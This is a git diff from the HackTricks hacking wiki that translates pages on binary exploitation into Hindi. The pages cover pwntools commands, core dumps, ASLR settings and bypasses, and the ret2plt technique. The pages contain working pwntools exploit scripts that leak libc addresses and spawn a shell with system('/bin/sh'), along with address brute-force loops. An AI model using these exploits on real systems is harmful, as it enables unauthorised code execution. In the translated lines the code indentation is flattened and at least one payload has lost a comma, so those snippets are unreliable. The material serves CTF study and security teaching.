पंक्ति नहीं) +- शेलकोड चलाएँ +- रंग/बिना रंग +- सिस्टम कॉल की सूची +- संभावित शेलकोड की सूची +- साझा पुस्तकालय के रूप में ELF उत्पन्न करें -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -## Pwn template - -Get a python template +## Pwn टेम्पलेट +एक पायथन टेम्पलेट प्राप्त करें ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**चुन सकते हैं:** होस्ट, पोर्ट, उपयोगकर्ता, पास, पथ और चुप ## Pwn unhex -From hex to string - +हेक्स से स्ट्रिंग में ``` pwn unhex 686f6c61 ``` +## Pwn अपडेट -## Pwn update - -To update pwntools - +pwntools को अपडेट करने के लिए ``` pwn update ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md index 47681ba71..5d6179bfe 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,35 +1,29 @@ -# Common Binary Exploitation Protections & Bypasses +# सामान्य बाइनरी शोषण सुरक्षा और बायपास {{#include ../../banners/hacktricks-training.md}} -## Enable Core files +## कोर फ़ाइलें सक्षम करें -**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. +**कोर फ़ाइलें** एक प्रकार की फ़ाइल होती हैं जो एक ऑपरेटिंग सिस्टम द्वारा तब उत्पन्न की जाती हैं जब कोई प्रक्रिया क्रैश होती है। ये फ़ाइलें क्रैश हुई प्रक्रिया की मेमोरी छवि को उसके समाप्ति के समय कैप्चर करती हैं, जिसमें प्रक्रिया की मेमोरी, रजिस्टर और प्रोग्राम काउंटर की स्थिति, अन्य विवरणों के साथ शामिल होती हैं। यह स्नैपशॉट डिबगिंग और यह समझने के लिए अत्यंत मूल्यवान हो सकता है कि क्रैश क्यों हुआ। -### **Enabling Core Dump Generation** +### **कोर डंप जनरेशन सक्षम करना** -By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. - -- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions. +डिफ़ॉल्ट रूप से, कई सिस्टम कोर फ़ाइलों के आकार को 0 (यानी, वे कोर फ़ाइलें उत्पन्न नहीं करते) तक सीमित करते हैं ताकि डिस्क स्थान बचाया जा सके। कोर फ़ाइलों के उत्पादन को सक्षम करने के लिए, आप **`ulimit`** कमांड (bash या समान शेल में) का उपयोग कर सकते हैं या सिस्टम-व्यापी सेटिंग्स को कॉन्फ़िगर कर सकते हैं। +- **ulimit का उपयोग करना**: कमांड `ulimit -c unlimited` वर्तमान शेल सत्र को असीमित आकार की कोर फ़ाइलें बनाने की अनुमति देती है। यह डिबगिंग सत्रों के लिए उपयोगी है लेकिन रिबूट या नए सत्रों के बीच स्थायी नहीं है। ```bash ulimit -c unlimited ``` - -- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions. - +- **स्थायी कॉन्फ़िगरेशन**: एक अधिक स्थायी समाधान के लिए, आप `/etc/security/limits.conf` फ़ाइल को संपादित कर सकते हैं ताकि इसमें एक पंक्ति शामिल हो जैसे `* soft core unlimited`, जो सभी उपयोगकर्ताओं को बिना अपने सत्रों में मैन्युअल रूप से ulimit सेट किए बिना असीमित आकार के कोर फ़ाइलें उत्पन्न करने की अनुमति देती है। ```markdown - soft core unlimited ``` +### **GDB के साथ कोर फ़ाइलों का विश्लेषण करना** -### **Analyzing Core Files with GDB** - -To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with: - +कोर फ़ाइल का विश्लेषण करने के लिए, आप GDB (GNU डिबगर) जैसे डिबगिंग टूल का उपयोग कर सकते हैं। मान लीजिए कि आपके पास एक निष्पादन योग्य फ़ाइल है जिसने एक कोर डंप उत्पन्न किया और कोर फ़ाइल का नाम `core_file` है, आप विश्लेषण शुरू कर सकते हैं: ```bash gdb /path/to/executable /path/to/core_file ``` - -This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash. +यह कमांड निष्पादन योग्य और कोर फ़ाइल को GDB में लोड करता है, जिससे आप क्रैश के समय प्रोग्राम की स्थिति की जांच कर सकते हैं। आप स्टैक का पता लगाने, वेरिएबल की जांच करने और क्रैश के कारण को समझने के लिए GDB कमांड का उपयोग कर सकते हैं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index e33c7a3be..865758347 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -4,105 +4,90 @@ ## Basic Information -**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. +**एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में **सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पते** को रैंडमाइज़ करने के लिए उपयोग की जाती है। ऐसा करने से, यह हमलावर के लिए विशिष्ट प्रक्रियाओं और डेटा, जैसे कि स्टैक, हीप, और लाइब्रेरी के स्थान की भविष्यवाणी करना काफी कठिन बना देता है, जिससे कुछ प्रकार के एक्सप्लॉइट्स, विशेष रूप से बफर ओवरफ्लोज़, को कम किया जा सकता है। -### **Checking ASLR Status** +### **ASLR स्थिति की जांच करना** -To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: +Linux सिस्टम पर ASLR स्थिति **जांचने** के लिए, आप **`/proc/sys/kernel/randomize_va_space`** फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में संग्रहीत मान यह निर्धारित करता है कि किस प्रकार का ASLR लागू किया जा रहा है: -- **0**: No randomization. Everything is static. -- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. -- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - -You can check the ASLR status with the following command: +- **0**: कोई रैंडमाइजेशन नहीं। सब कुछ स्थिर है। +- **1**: संवेदनशील रैंडमाइजेशन। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पृष्ठ रैंडमाइज किए जाते हैं। +- **2**: पूर्ण रैंडमाइजेशन। संवेदनशील रैंडमाइजेशन द्वारा रैंडमाइज किए गए तत्वों के अलावा, `brk()` के माध्यम से प्रबंधित मेमोरी रैंडमाइज की जाती है। +आप निम्नलिखित कमांड के साथ ASLR स्थिति की जांच कर सकते हैं: ```bash cat /proc/sys/kernel/randomize_va_space ``` +### **ASLR को अक्षम करना** -### **Disabling ASLR** - -To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it: - +ASLR को **अक्षम** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` का मान **0** पर सेट करते हैं। ASLR को अक्षम करना आमतौर पर परीक्षण या डिबगिंग परिदृश्यों के बाहर अनुशंसित नहीं है। इसे अक्षम करने का तरीका यहाँ है: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` - -You can also disable ASLR for an execution with: - +आप एक निष्पादन के लिए ASLR को निम्नलिखित के साथ भी अक्षम कर सकते हैं: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` +### **ASLR सक्षम करना** -### **Enabling ASLR** - -To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command: - +ASLR को **सक्षम** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` फ़ाइल में **2** का मान लिख सकते हैं। इसके लिए आमतौर पर रूट विशेषाधिकार की आवश्यकता होती है। पूर्ण यादृच्छिकता सक्षम करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### **रिबूट के दौरान स्थिरता** -### **Persistence Across Reboots** - -Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line: - +`echo` कमांड के साथ किए गए परिवर्तन अस्थायी होते हैं और रिबूट पर रीसेट हो जाएंगे। परिवर्तन को स्थायी बनाने के लिए, आपको `/etc/sysctl.conf` फ़ाइल को संपादित करना होगा और निम्नलिखित पंक्ति को जोड़ना या संशोधित करना होगा: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` - -After editing `/etc/sysctl.conf`, apply the changes with: - +`/etc/sysctl.conf` को संपादित करने के बाद, परिवर्तनों को लागू करने के लिए: ```bash sudo sysctl -p ``` +यह सुनिश्चित करेगा कि आपके ASLR सेटिंग्स रिबूट के दौरान बनी रहें। -This will ensure that your ASLR settings remain across reboots. +## **बायपास** -## **Bypasses** +### 32बिट ब्रूट-फोर्सिंग -### 32bit brute-forcing +PaX प्रक्रिया पते की जगह को **3 समूहों** में विभाजित करता है: -PaX divides the process address space into **3 groups**: +- **कोड और डेटा** (आरंभित और अप्रारंभित): `.text`, `.data`, और `.bss` —> `delta_exec` चर में **16 बिट्स** की एंट्रॉपी। यह चर प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से आरंभ किया जाता है और प्रारंभिक पते में जोड़ा जाता है। +- **मेमोरी** जो `mmap()` द्वारा आवंटित की गई है और **साझा पुस्तकालय** —> **16 बिट्स**, जिसे `delta_mmap` कहा जाता है। +- **स्टैक** —> **24 बिट्स**, जिसे `delta_stack` कहा जाता है। हालाँकि, यह प्रभावी रूप से **11 बिट्स** का उपयोग करता है (10वें से 20वें बाइट तक समावेशी), **16 बाइट्स** के लिए संरेखित —> इसके परिणामस्वरूप **524,288 संभावित वास्तविक स्टैक पते** होते हैं। -- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. -- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`. -- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**. +पिछला डेटा 32-बिट सिस्टम के लिए है और अंतिम एंट्रॉपी में कमी ASLR को बायपास करना संभव बनाती है, जब तक कि शोषण सफलतापूर्वक पूरा नहीं हो जाता। -The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. - -#### Brute-force ideas: - -- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**. - - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**. -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +#### ब्रूट-फोर्स विचार: +- यदि आपके पास **शेलकोड से पहले एक बड़ा NOP स्लेड** रखने के लिए पर्याप्त ओवरफ्लो है, तो आप बस स्टैक में पते को ब्रूट-फोर्स कर सकते हैं जब तक कि प्रवाह **NOP स्लेड के कुछ हिस्से पर कूद न जाए**। +- यदि ओवरफ्लो इतना बड़ा नहीं है और शोषण को स्थानीय रूप से चलाया जा सकता है, तो **एक पर्यावरण चर में NOP स्लेड और शेलकोड जोड़ना** संभव है। +- यदि शोषण स्थानीय है, तो आप libc के आधार पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32बिट सिस्टम के लिए उपयोगी): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप **`libc` फ़ंक्शन `usleep` के पते को ब्रूट-फोर्स करने** की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर **सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त लेता है**, तो आपने इस फ़ंक्शन का पता खोज लिया है। > [!TIP] -> In 64bit systems the entropy is much higher and this shouldn't possible. +> 64-बिट सिस्टम में एंट्रॉपी बहुत अधिक होती है और यह संभव नहीं होना चाहिए। -### 64 bits stack brute-forcing - -It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\ -The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**: +### 64 बिट स्टैक ब्रूट-फोर्सिंग +यह संभव है कि स्टैक के एक बड़े हिस्से को एन्व वेरिएबल्स के साथ भरा जाए और फिर इसे शोषण करने के लिए स्थानीय रूप से सैकड़ों/हजारों बार दुरुपयोग करने की कोशिश की जाए।\ +निम्नलिखित कोड दिखाता है कि **स्टैक में केवल एक पता चुनना** कैसे संभव है और हर **कुछ सौ निष्पादनों** में वह पता **NOP निर्देश** को समाहित करेगा: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { - unsigned long long address = 0xffffff1e7e38; - unsigned int* ptr = (unsigned int*)address; - unsigned int value = *ptr; - printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); - return 0; +unsigned long long address = 0xffffff1e7e38; +unsigned int* ptr = (unsigned int*)address; +unsigned int value = *ptr; +printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); +return 0; } ``` @@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { - 'a': shellcode_env_var, - 'b': shellcode_env_var, - 'c': shellcode_env_var, - 'd': shellcode_env_var, - 'e': shellcode_env_var, - 'f': shellcode_env_var, - 'g': shellcode_env_var, - 'h': shellcode_env_var, - 'i': shellcode_env_var, - 'j': shellcode_env_var, - 'k': shellcode_env_var, - 'l': shellcode_env_var, - 'm': shellcode_env_var, - 'n': shellcode_env_var, - 'o': shellcode_env_var, - 'p': shellcode_env_var, +'a': shellcode_env_var, +'b': shellcode_env_var, +'c': shellcode_env_var, +'d': shellcode_env_var, +'e': shellcode_env_var, +'f': shellcode_env_var, +'g': shellcode_env_var, +'h': shellcode_env_var, +'i': shellcode_env_var, +'j': shellcode_env_var, +'k': shellcode_env_var, +'l': shellcode_env_var, +'m': shellcode_env_var, +'n': shellcode_env_var, +'o': shellcode_env_var, +'p': shellcode_env_var, } cont = 0 while True: - cont += 1 +cont += 1 - if cont % 10000 == 0: - break +if cont % 10000 == 0: +break - print(cont, end="\r") - # Define the path to your binary - binary_path = './aslr-testing' +print(cont, end="\r") +# Define the path to your binary +binary_path = './aslr-testing' - try: - process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) - output = process.communicate()[0] - if "0xd5" in str(output): - print(str(cont) + " -> " + output) - except Exception as e: - print(e) - print(traceback.format_exc()) - pass +try: +process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) +output = process.communicate()[0] +if "0xd5" in str(output): +print(str(cont) + " -> " + output) +except Exception as e: +print(e) +print(traceback.format_exc()) +pass ``` -
-### Local Information (`/proc/[pid]/stat`) +### स्थानीय जानकारी (`/proc/[pid]/stat`) -The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: +एक प्रक्रिया की फ़ाइल **`/proc/[pid]/stat`** हमेशा सभी के लिए पढ़ने योग्य होती है और इसमें **दिलचस्प** जानकारी होती है जैसे: -- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary -- **startstack**: The address of the start of the **stack** -- **start_data** & **end_data**: Addresses above and below where the **BSS** is -- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses -- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. -- **env_start** &**env_end**: Addresses above and below where **env variables** are. +- **startcode** & **endcode**: बाइनरी के **TEXT** के ऊपर और नीचे के पते +- **startstack**: **stack** की शुरुआत का पता +- **start_data** & **end_data**: जहाँ **BSS** है, उसके ऊपर और नीचे के पते +- **kstkesp** & **kstkeip**: वर्तमान **ESP** और **EIP** पते +- **arg_start** & **arg_end**: जहाँ **cli arguments** हैं, उसके ऊपर और नीचे के पते। +- **env_start** &**env_end**: जहाँ **env variables** हैं, उसके ऊपर और नीचे के पते। -Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. +इसलिए, यदि हमलावर उसी कंप्यूटर में है जहाँ बाइनरी का शोषण किया जा रहा है और यह बाइनरी कच्चे तर्कों से ओवरफ्लो की अपेक्षा नहीं करती, बल्कि एक अलग **इनपुट से जो इस फ़ाइल को पढ़ने के बाद तैयार किया जा सकता है**। तो हमलावर के लिए **इस फ़ाइल से कुछ पते प्राप्त करना और उनके लिए शोषण के लिए ऑफसेट बनाना संभव है**। > [!TIP] -> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` +> इस फ़ाइल के बारे में अधिक जानकारी के लिए [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) पर `/proc/pid/stat` खोजें -### Having a leak +### लीक होना -- **The challenge is giving a leak** - -If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details): +- **चुनौती एक लीक देना है** +यदि आपको एक लीक दिया गया है (आसान CTF चुनौतियाँ), तो आप इससे ऑफसेट्स की गणना कर सकते हैं (मान लीजिए कि आप जानते हैं कि जिस सिस्टम का आप शोषण कर रहे हैं, उसमें कौन सा libc संस्करण उपयोग में है)। यह उदाहरण शोषण [**यहाँ से उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) से निकाला गया है (अधिक विवरण के लिए उस पृष्ठ की जांच करें): ```python from pwn import * @@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - 0x0, # return address - next(libc.search(b'/bin/sh')) +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - - **ret2plt** -Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: +एक बफर ओवरफ्लो का दुरुपयोग करते हुए, एक **ret2plt** का शोषण करना संभव होगा ताकि libc से एक फ़ंक्शन का पता निकाला जा सके। जाँचें: {{#ref}} ret2plt.md @@ -216,8 +198,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): - +जैसे कि ret2plt में, यदि आपके पास एक फॉर्मेट स्ट्रिंग्स कमजोरियों के माध्यम से एक मनमाना पढ़ने की क्षमता है, तो GOT से एक **libc फ़ंक्शन** का पता निकालना संभव है। निम्नलिखित [**उदाहरण यहाँ से है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` - -You can find more info about Format Strings arbitrary read in: +आप फ़ॉर्मेट स्ट्रिंग्स के मनमाने पढ़ने के बारे में अधिक जानकारी यहाँ पा सकते हैं: {{#ref}} ../../format-strings/ @@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in: ### Ret2ret & Ret2pop -Try to bypass ASLR abusing addresses inside the stack: +ASLR को बायपास करने के लिए स्टैक के अंदर पते का दुरुपयोग करने का प्रयास करें: {{#ref}} ret2ret.md @@ -245,13 +225,12 @@ ret2ret.md ### vsyscall -The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ -However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) +**`vsyscall`** तंत्र प्रदर्शन को बढ़ाने के लिए काम करता है, जिससे कुछ सिस्टम कॉल को उपयोगकर्ता स्थान में निष्पादित किया जा सकता है, हालाँकि वे मूल रूप से कर्नेल का हिस्सा हैं। **vsyscalls** का महत्वपूर्ण लाभ उनके **स्थिर पते** में है, जो **ASLR** (एड्रेस स्पेस लेआउट रैंडमाइजेशन) के अधीन नहीं होते। इस स्थिर स्वभाव का मतलब है कि हमलावरों को उनके पते निर्धारित करने और उन्हें एक हमले में उपयोग करने के लिए सूचना लीक की भेद्यता की आवश्यकता नहीं होती है।\ +हालांकि, यहाँ कोई सुपर दिलचस्प गैजेट नहीं मिलेगा (हालांकि उदाहरण के लिए, एक `ret;` समकक्ष प्राप्त करना संभव है) -(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) - -For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit. +(निम्नलिखित उदाहरण और कोड [**इस लेख से**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) है) +उदाहरण के लिए, एक हमलावर एक हमले में `0xffffffffff600800` पते का उपयोग कर सकता है। जबकि सीधे `ret` निर्देश पर कूदने का प्रयास करने से कुछ गैजेट्स को निष्पादित करने के बाद अस्थिरता या क्रैश हो सकता है, **vsyscall** अनुभाग द्वारा प्रदान किए गए `syscall` के प्रारंभ पर कूदना सफल हो सकता है। इस **vsyscall** पते पर निष्पादन को ले जाने वाले एक **ROP** गैजेट को सावधानीपूर्वक रखने से, एक हमलावर इस हमले के इस भाग के लिए **ASLR** को बायपास किए बिना कोड निष्पादन प्राप्त कर सकता है। ``` ef➤ vmmap Start End Offset Perm Path @@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 ``` - ### vDSO -Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: +इसलिए ध्यान दें कि यदि कर्नेल को CONFIG_COMPAT_VDSO के साथ संकलित किया गया है, तो **vdso का दुरुपयोग करके ASLR को बायपास करना संभव हो सकता है** क्योंकि vdso पता यादृच्छिक नहीं होगा। अधिक जानकारी के लिए देखें: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index c0e55129b..98033d233 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -4,38 +4,35 @@ ## Basic Information -The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. - -This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): +इस तकनीक का लक्ष्य **PLT से एक फ़ंक्शन का पता लीक करना** होगा ताकि ASLR को बायपास किया जा सके। इसका कारण यह है कि यदि, उदाहरण के लिए, आप libc से फ़ंक्शन `puts` का पता लीक करते हैं, तो आप **`libc` का बेस कहां है, यह गणना कर सकते हैं** और अन्य फ़ंक्शनों जैसे **`system`** तक पहुँचने के लिए ऑफसेट्स की गणना कर सकते हैं। +यह एक `pwntools` पेलोड के साथ किया जा सकता है जैसे कि ([**यहां से**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python # 32-bit ret2plt payload = flat( - b'A' * padding, - elf.plt['puts'], - elf.symbols['main'], - elf.got['puts'] +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] ) # 64-bit payload = flat( - b'A' * padding, - POP_RDI, - elf.got['puts'] - elf.plt['puts'], - elf.symbols['main'] +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] ) ``` +ध्यान दें कि **`puts`** (PLT से पते का उपयोग करते हुए) को GOT (ग्लोबल ऑफसेट टेबल) में स्थित `puts` के पते के साथ कॉल किया जाता है। इसका कारण यह है कि जब `puts` `puts` के GOT एंट्री को प्रिंट करता है, तो यह **एंट्री मेमोरी में `puts` का सटीक पता रखेगी**। -Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. - -Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid). +यह भी ध्यान दें कि एक्सप्लॉइट में `main` का पता कैसे उपयोग किया जाता है ताकि जब `puts` अपनी निष्पादन समाप्त करता है, तो **बाइनरी फिर से `main` को कॉल करती है बजाय इसके कि वह बाहर निकल जाए** (ताकि लीक किया गया पता मान्य बना रहे)। > [!CAUTION] -> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. - -You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**: +> ध्यान दें कि इसके काम करने के लिए **बाइनरी को PIE के साथ संकलित नहीं किया जा सकता** या आपको **PIE को बायपास करने के लिए एक लीक मिलना चाहिए** ताकि PLT, GOT और main के पते को जान सकें। अन्यथा, आपको पहले PIE को बायपास करना होगा। +आप इस [**बायपास का पूरा उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)। यह उस **उदाहरण** से अंतिम एक्सप्लॉइट था: ```python from pwn import * @@ -46,10 +43,10 @@ p = process() p.recvline() payload = flat( - 'A' * 32, - elf.plt['puts'], - elf.sym['main'], - elf.got['puts'] +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] ) p.sendline(payload) @@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - libc.sym['exit'], - next(libc.search(b'/bin/sh\x00')) +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` - -## Other examples & References +## अन्य उदाहरण और संदर्भ - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 बिट, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम एक ओवरफ्लो को भरना है जब तक कि कैनरी का बाइट 0x00 न हो जाए, फिर puts को कॉल करें और इसे लीक करें। कैनरी के साथ एक ROP गैजेट बनाया जाता है जो puts को कॉल करता है ताकि GOT से puts का पता लीक किया 